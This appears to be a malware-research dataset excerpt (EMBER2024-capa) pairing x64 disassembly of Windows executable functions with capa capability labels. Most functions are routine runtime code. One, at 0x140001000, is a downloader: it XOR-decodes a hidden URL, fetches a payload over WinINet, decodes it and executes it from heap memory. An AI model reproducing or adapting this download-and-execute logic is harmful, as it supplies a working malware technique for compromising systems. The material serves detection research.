joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400f4c58
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
xor r12d, r12d
mov r9, rdx
mov rbx, rcx
cmp rdx, r12
je 0x1400f4dc2
cmp dword [rdx], r12d
jge 0x1400f4ca9
cmp dword [rdx + 4], r12d
jge 0x1400f4ca9
cmp dword [rdx + 8], r12d
jge 0x1400f4ca9
cmp dword [rdx + 0xc], r12d
jge 0x1400f4ca9
or eax, 0xffffffff
mov word [rcx + 0x9a], ax
jmp 0x1400f4dc2
mov r10d, r12d
mov eax, r10d
cdq
sub eax, edx
sar eax, 1
movsxd r8, eax
mov eax, r10d
inc r10d
cdq
and eax, 1
xor eax, edx
sub eax, edx
movsxd rcx, eax
mov eax, dword [r9]
add r9, 4
cmp r10d, 4
lea rdx, [rcx + r8*2 + 0x22]
mov dword [rbx + rdx*4], eax
jl 0x1400f4cac
lea rdi, [rbx + 0x78]
mov ebp, 2
mov rcx, qword [rdi]
cmp rcx, r12
je 0x1400f4cf4
call qword [sym.imp.GDI32.DLL_DeleteObject]
mov qword [rdi], r12
add rdi, 8
sub rbp, 1
jne 0x1400f4ce6
mov rax, qword [0x140135328]
cmp rax, r12
jne 0x1400f4d1d
lea ecx, [rbp + 5]
call qword [sym.imp.GDI32.DLL_GetStockObject]
mov qword [0x140135328], rax
mov ecx, dword [rbx + 0x8c]
mov r8d, 0x80000000
cmp ecx, r12d
jge 0x1400f4d3e
cmp ecx, r8d
je 0x1400f4d3e
mov qword [rbx + 0x78], rax
mov rax, qword [0x140135328]
mov edx, dword [rbx + 0x94]
cmp edx, r12d
jge 0x1400f4d55
cmp edx, r8d
je 0x1400f4d55
mov qword [rbx + 0x80], rax
cmp ecx, r12d
jl 0x1400f4d64
call qword [sym.imp.GDI32.DLL_CreateSolidBrush]
mov qword [rbx + 0x78], rax
mov ecx, dword [rbx + 0x94]
cmp ecx, r12d
jl 0x1400f4d7c
call qword [sym.imp.GDI32.DLL_CreateSolidBrush]
mov qword [rbx + 0x80], rax
cmp word [rbx + 0x9a], r12w
jge 0x1400f4d8e
mov word [rbx + 0x9a], r12w
mov eax, dword [rbx + 0x94]
cmp eax, r12d
jl 0x1400f4dc2
cmp eax, dword [rbx + 0x8c]
jne 0x1400f4dc2
mov eax, dword [rbx + 0x88]
cmp dword [rbx + 0x90], eax
jne 0x1400f4dc2
mov al, byte [rbx + 0xa4]
cmp al, r12b
jle 0x1400f4dc2
or al, 0x80
mov byte [rbx + 0xa4], al
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret

Function at 0x1400f9600
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x20
mov eax, 0xffdf
and cx, ax
mov eax, 0x41
cmp ax, cx
je 0x1400f9629
mov eax, 0x42
cmp ax, cx
je 0x1400f9629
mov eax, 0xfffffffe
jmp 0x1400f9652
mov word [rsp + 0x38], cx
mov eax, 0x3a
lea rcx, [rsp + 0x38]
xor ebx, ebx
mov word [rsp + 0x3a], ax
mov word [rsp + 0x3c], bx
call qword [sym.imp.KERNEL32.DLL_GetDriveTypeW]
cmp eax, 2
setne bl
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x1400f9728
Capabilities:
Create process on windows

Disassembly:
mov r11, rsp
sub rsp, 0x78
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov rax, qword [rsp + 0xc8]
mov qword [r11 - 0x30], rax
mov rax, qword [rsp + 0xc0]
mov qword [r11 - 0x38], rax
mov rax, qword [rsp + 0xb8]
mov qword [r11 - 0x40], rax
mov rax, qword [rsp + 0xb0]
mov qword [r11 - 0x48], rax
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0xa0]
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.DLL_CreateProcessW]
mov dword [rsp + 0x50], eax
jmp 0x1400f978e
add rsp, 0x78
ret
Function at 0x1401005f4
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.140102ec4
nop
cmp dword [0x140135578], 1
je 0x1401005a0
mov dword [0x140135574], 1
mov byte [0x140135570], r12b
test ebx, ebx
jne 0x14010058c
mov rcx, qword [0x1401366d0]
call sub.KERNEL32.DLL_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140100579
mov rcx, qword [0x1401366c8]
call sub.KERNEL32.DLL_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x140100518
call fcn.1400ffd10
cmp qword [rdi], rax
jne 0x140100518
jmp 0x1401004fe
cmp rdi, rsi
jb 0x140100579
mov rcx, qword [rdi]
call sub.KERNEL32.DLL_DecodePointer
mov rbx, rax
call fcn.1400ffd10
mov qword [rdi], rax
call rbx
mov rcx, qword [0x1401366d0]
call sub.KERNEL32.DLL_DecodePointer
mov rbx, rax
mov rcx, qword [0x1401366c8]
call sub.KERNEL32.DLL_DecodePointer
cmp r14, rbx
jne 0x140100557
cmp r13, rax
je 0x140100577
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x1401004fe
lea rdx, [0x140114380]
lea rcx, [0x140114368]
call fcn.140100348
lea rdx, [0x140114390]
lea rcx, [0x140114388]
call fcn.140100348
nop
test r12d, r12d
je 0x1401005af
mov ecx, 8
call fcn.140102dc4
test r12d, r12d
jne 0x1401005da
mov dword [0x140135578], 1
lea ecx, [r12 + 8]
call fcn.140102dc4
mov ecx, r15d
call fcn.1401002dc
mov ecx, r15d
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x140100468

Function at 0x140100600
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x140100468
Function at 0x14010b7ff
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140132550]
jne 0x14010274a
rol rcx, 0x10
test cx, 0xffff
jne 0x140102746
repz ret
ror rcx, 0x10
jmp 0x14010b758
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140135f30]
call qword [sym.imp.KERNEL32.DLL_RtlCaptureContext]
mov r11, qword [0x140136028]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.DLL_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14010b7dd
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
and al, 0x28
lea rax, [0x140135f30]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.DLL_RtlVirtualUnwind
jmp 0x14010b7ff
mov rax, qword [rsp + 0x88]
mov qword [0x140136028], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140135fc8], rax
mov rax, qword [0x140136028]
mov qword [0x140135ea0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140135fb0], rax
mov dword [0x140135e90], 0xc0000409
mov dword [0x140135e94], 1
mov rax, qword [0x140132550]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140132558]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.DLL_IsDebuggerPresent]
mov dword [0x140135f28], eax
mov ecx, 1
call fcn.14010a944
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_SetUnhandledExceptionFilter]
lea rcx, [0x140127980]
call qword [sym.imp.KERNEL32.DLL_UnhandledExceptionFilter]
cmp dword [0x140135f28], 0
jne 0x14010b886
mov ecx, 1
call fcn.14010a944
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14010c400
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.1400ffd10
xor ebx, ebx
mov rdi, rax
cmp qword [0x140136408], rbx
jne 0x14010c506
lea rcx, [0x14011a7f8]
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x14010c5db
lea rdx, [0x1401279f0]
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
test rax, rax
je 0x14010c5db
mov rcx, rax
call sub.KERNEL32.DLL_EncodePointer
lea rdx, [0x1401279e0]
mov rcx, rsi
mov qword [0x140136408], rax
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.DLL_EncodePointer
lea rdx, [0x1401279c8]
mov rcx, rsi
mov qword [0x140136410], rax
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.DLL_EncodePointer
lea rdx, [0x1401279a8]
mov rcx, rsi
mov qword [0x140136418], rax
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.DLL_EncodePointer
mov r11, rax
mov qword [0x140136428], rax
test rax, rax
je 0x14010c4fd
lea rdx, [0x140127990]
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.DLL_EncodePointer
mov qword [0x140136420], rax
jmp 0x14010c50d
mov rax, qword [0x140136420]
jmp 0x14010c514
mov rax, qword [0x140136420]
mov r11, qword [0x140136428]
cmp rax, rdi
je 0x14010c57c
cmp r11, rdi
je 0x14010c57c
mov rcx, rax
call sub.KERNEL32.DLL_DecodePointer
mov rcx, qword [0x140136428]
mov rsi, rax
call sub.KERNEL32.DLL_DecodePointer
mov r12, rax
test rsi, rsi
je 0x14010c57c
test rax, rax
je 0x14010c57c
call rsi
test rax, rax
je 0x14010c576
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14010c576
test byte [rsp + 0x38], 1
jne 0x14010c57c
bts ebp, 0x15
jmp 0x14010c5ba
mov rcx, qword [0x140136410]
cmp rcx, rdi
je 0x14010c5ba
call sub.KERNEL32.DLL_DecodePointer
test rax, rax
je 0x14010c5ba
call rax
mov rbx, rax
test rax, rax
je 0x14010c5ba
mov rcx, qword [0x140136418]
cmp rcx, rdi
je 0x14010c5ba
call sub.KERNEL32.DLL_DecodePointer
test rax, rax
je 0x14010c5ba
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140136408]
call sub.KERNEL32.DLL_DecodePointer
test rax, rax
je 0x14010c5db
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x14010c5dd
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x140001000
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
mov rax, qword [0x140003008]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov ecx, 0x439f0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
movzx ecx, word [0x1400022a0]
xor ebx, ebx
movups xmm0, xmmword [0x140002280]
mov word [rsp + 0x58], cx
mov rdi, rax
movzx ecx, byte [0x1400022a2]
lea rax, [rsp + 0x38]
movups xmm1, xmmword [0x140002290]
mov byte [rsp + 0x5a], cl
mov r8d, ebx
mov rcx, 0xffffffffffffffff
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm1
inc rcx
cmp byte [rax + rcx], bl
jne 0x140001067
test rcx, rcx
je 0x1400010a6
lea rdx, [rsp + 0x38]
nop dword [rax]
xor byte [rdx], 0x77
lea rdx, [rdx + 1]
inc r8d
lea rcx, [rsp + 0x38]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], bl
jne 0x140001096
movsxd rcx, r8d
cmp rcx, rax
jb 0x140001080
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor r8d, r8d
lea rcx, str.myapp
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rsp + 0x28], rbx
lea rdx, [rsp + 0x38]
mov rcx, rax
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea r9, [rsp + 0x30]
mov r8d, 0x439f0
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov rax, rdi
mov ecx, 0x21cf8
xor byte [rax], 0x77
xor byte [rax + 1], 0x77
lea rax, [rax + 2]
sub rcx, 1
jne 0x140001101
xor r8d, r8d
mov edx, 0x439f0
mov ecx, 0x40000
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov ecx, 0xea60
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 8
mov r8d, 0x439f0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, 0x439f0
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memcpy
call rbx
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140001190
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret

Function at 0x140001a6c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ab6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ab6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ab6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ab6
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ab6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ab8
xor al, al
add rsp, 0x28
ret
Function at 0x14000ccf0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140017a00
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140017a00
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x14000cd60
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14048e114]
mov rbx, rcx
test esi, esi
jle 0x14000ce90
mov rax, qword [0x14048e118]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000cdab
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14000ce35
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14000cd90
mov rcx, rbx
call fcn.14000d7b0
mov rdi, rax
test rax, rax
je 0x14000ceb2
mov rax, qword [0x14048e118]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14000d8f0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14048e118]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000ce97
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000ce2e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000ce40
add dword [0x14048e114], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14048e118]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000ce2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000ccf0
nop dword [rax]
xor esi, esi
jmp 0x14000cdb8
mov rax, qword [0x14048e118]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14000ccf0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.14000ccf0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000d420
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14048e180]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14048e160]
test rbx, rbx
je 0x14000d47c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x14000d473
test rsi, rsi
je 0x14000d473
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000d458
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14000d7b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140463960]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000d7d0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000d7d8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000d7d0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000d82d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000d824
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000d7d0
add rax, 0x28
cmp rax, r9
jne 0x14000d810
xor eax, eax
ret

Function at 0x14000d830
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140463960]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000d84f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000d858
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000d84f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14000d8f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140463960]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000d90f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14000d918
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x14000ec50
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x230
mov rbx, rcx
call sub.msvcrt.dll__errno
mov dword [rax], 0
test rbx, rbx
je 0x14000edb0
cmp word [rbx], 0
je 0x14000eda0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000edc0
test al, 0x10
je 0x14000eda0
lea rsi, [rsp + 0x20]
mov rdx, rbx
mov r8d, 0x104
mov rcx, rsi
lea rdi, [0x140462720]
lea rbp, [0x140462724]
call sub.msvcrt.dll__wfullpath
mov rcx, rsi
call sub.msvcrt.dll_wcslen
mov rcx, rdi
mov rbx, rax
call sub.msvcrt.dll_wcslen
mov rcx, rbp
add rbx, rax
call sub.msvcrt.dll_wcslen
lea rcx, [rbx + rax + 0x229]
add rcx, rcx
call sub.msvcrt.dll_malloc
mov rbx, rax
test rax, rax
je 0x14000edcf
lea r12, [rax + 0x44c]
mov rdx, rsi
mov rcx, r12
call sub.msvcrt.dll_wcscpy
cmp word [rbx + 0x44c], 0
jne 0x14000ed68
mov rdx, rbp
mov rcx, r12
call sub.msvcrt.dll_wcscat
lea rdx, [rbx + 0x238]
mov ecx, 0x41
xor eax, eax
mov qword [rbx + 0x440], 0xffffffffffffffff
mov rdi, rdx
mov dword [rbx + 0x448], 0
mov qword [rbx + 0x230], 0
rep stosq qword [rdi], rax
mov rax, rbx
add rsp, 0x230
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, r12
call sub.msvcrt.dll_wcslen
cmp word [rbx + rax*2 + 0x44a], 0x2f
je 0x14000ed12
mov rcx, r12
call sub.msvcrt.dll_wcslen
cmp word [rbx + rax*2 + 0x44a], 0x5c
je 0x14000ed12
mov rdx, rdi
mov rcx, r12
call sub.msvcrt.dll_wcscat
jmp 0x14000ed12
call sub.msvcrt.dll__errno
xor ebx, ebx
mov dword [rax], 0x14
jmp 0x14000ed51
call sub.msvcrt.dll__errno
xor ebx, ebx
mov dword [rax], 0xe
jmp 0x14000ed51
call sub.msvcrt.dll__errno
xor ebx, ebx
mov dword [rax], 2
jmp 0x14000ed51
call sub.msvcrt.dll__errno
xor ebx, ebx
mov dword [rax], 0xc
jmp 0x14000ed51
Function at 0x14000f3a0
Capabilities:
Enumerate disk volumes
Get disk information
Get disk size
Get file size

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xb8
mov ebp, ecx
mov rsi, rdx
cmp ecx, 0xffffffff
je 0x14000f5d0
test rdx, rdx
js 0x14000f5d0
call sub.msvcrt.dll__get_osfhandle
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000f600
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileType]
cmp eax, 1
jne 0x14000f600
mov ecx, ebp
call sub.msvcrt.dll__telli64
mov qword [rsp + 0x48], rax
cmp rax, 0xffffffffffffffff
je 0x14000f5d0
lea rdx, [rsp + 0x68]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14000f600
cmp qword [rsp + 0x68], rsi
jb 0x14000f490
xor r9d, r9d
mov qword [rsp + 0x70], rsi
lea r8, [rsp + 0x74]
mov edx, esi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x14000f449
cmp dword [rsp + 0x70], 0xffffffff
jne 0x14000f5e4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
je 0x14000f5d0
mov rdx, qword [rsp + 0x48]
xor r8d, r8d
mov ecx, ebp
call sub.msvcrt.dll__lseeki64
cmp rax, 0xffffffffffffffff
je 0x14000f5d0
xor eax, eax
add rsp, 0xb8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea rdx, [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
je 0x14000f5d0
mov edx, 2
mov ecx, 0x33
call sub.msvcrt.dll_calloc
mov edx, 2
mov ecx, 0x106
mov rbx, rax
call sub.msvcrt.dll_calloc
mov r12, rax
test rbx, rbx
je 0x14000f600
test rax, rax
je 0x14000f600
mov edx, 0x32
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov r14, qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov r15, qword [sym.imp.KERNEL32.dll_FindNextVolumeW]
mov r13, rax
lea rax, [rsp + 0x5c]
mov qword [rsp + 0x40], rax
jmp 0x14000f527
mov r8d, 0x32
mov rdx, rbx
mov rcx, r13
call r15
test eax, eax
je 0x14000f5b8
mov dword [rsp + 0x38], 0
mov rdx, r12
mov rcx, rbx
mov r9, qword [rsp + 0x40]
mov qword [rsp + 0x30], 0
mov r8d, 0x105
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call r14
mov eax, dword [rsp + 0x5c]
cmp dword [rsp + 0x8c], eax
jne 0x14000f510
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindVolumeClose]
mov rcx, r12
call fcn.140018080
xor r9d, r9d
xor r8d, r8d
mov rcx, rbx
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov rcx, rbx
mov r12d, eax
call fcn.140018080
test r12d, r12d
je 0x14000f5f1
mov rax, rsi
sub rax, qword [rsp + 0x68]
cmp qword [rsp + 0x60], rax
jae 0x14000f421
jmp 0x14000f5f1
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindVolumeClose]
mov rcx, rbx
xor ebx, ebx
call fcn.140018080
jmp 0x14000f574
mov ecx, 0x16
call fcn.140017890
mov eax, 0xffffffff
jmp 0x14000f475
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x83
jne 0x14000f5d0
mov ecx, 0x1b
call fcn.140017890
jmp 0x14000f5da
mov ecx, 9
call fcn.140017890
jmp 0x14000f5da
Function at 0x140019020
Capabilities:
Create directory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rbx, rdx
mov rcx, qword [rcx]
call qword [sym.imp.msvcrt.dll__wmkdir]
test eax, eax
jne 0x140019060
call fcn.1400b12e0
mov dword [rbx], 0
mov qword [rbx + 8], rax
mov eax, 1
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call qword [sym.imp.msvcrt.dll__errno]
mov edi, dword [rax]
cmp edi, 0x11
je 0x140019088
call fcn.1400b12f0
mov dword [rbx], edi
mov qword [rbx + 8], rax
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
mov rdx, rbx
mov rcx, rsi
call fcn.140081c10
cmp al, 2
jne 0x14001906d
xor eax, eax
jmp 0x14001907a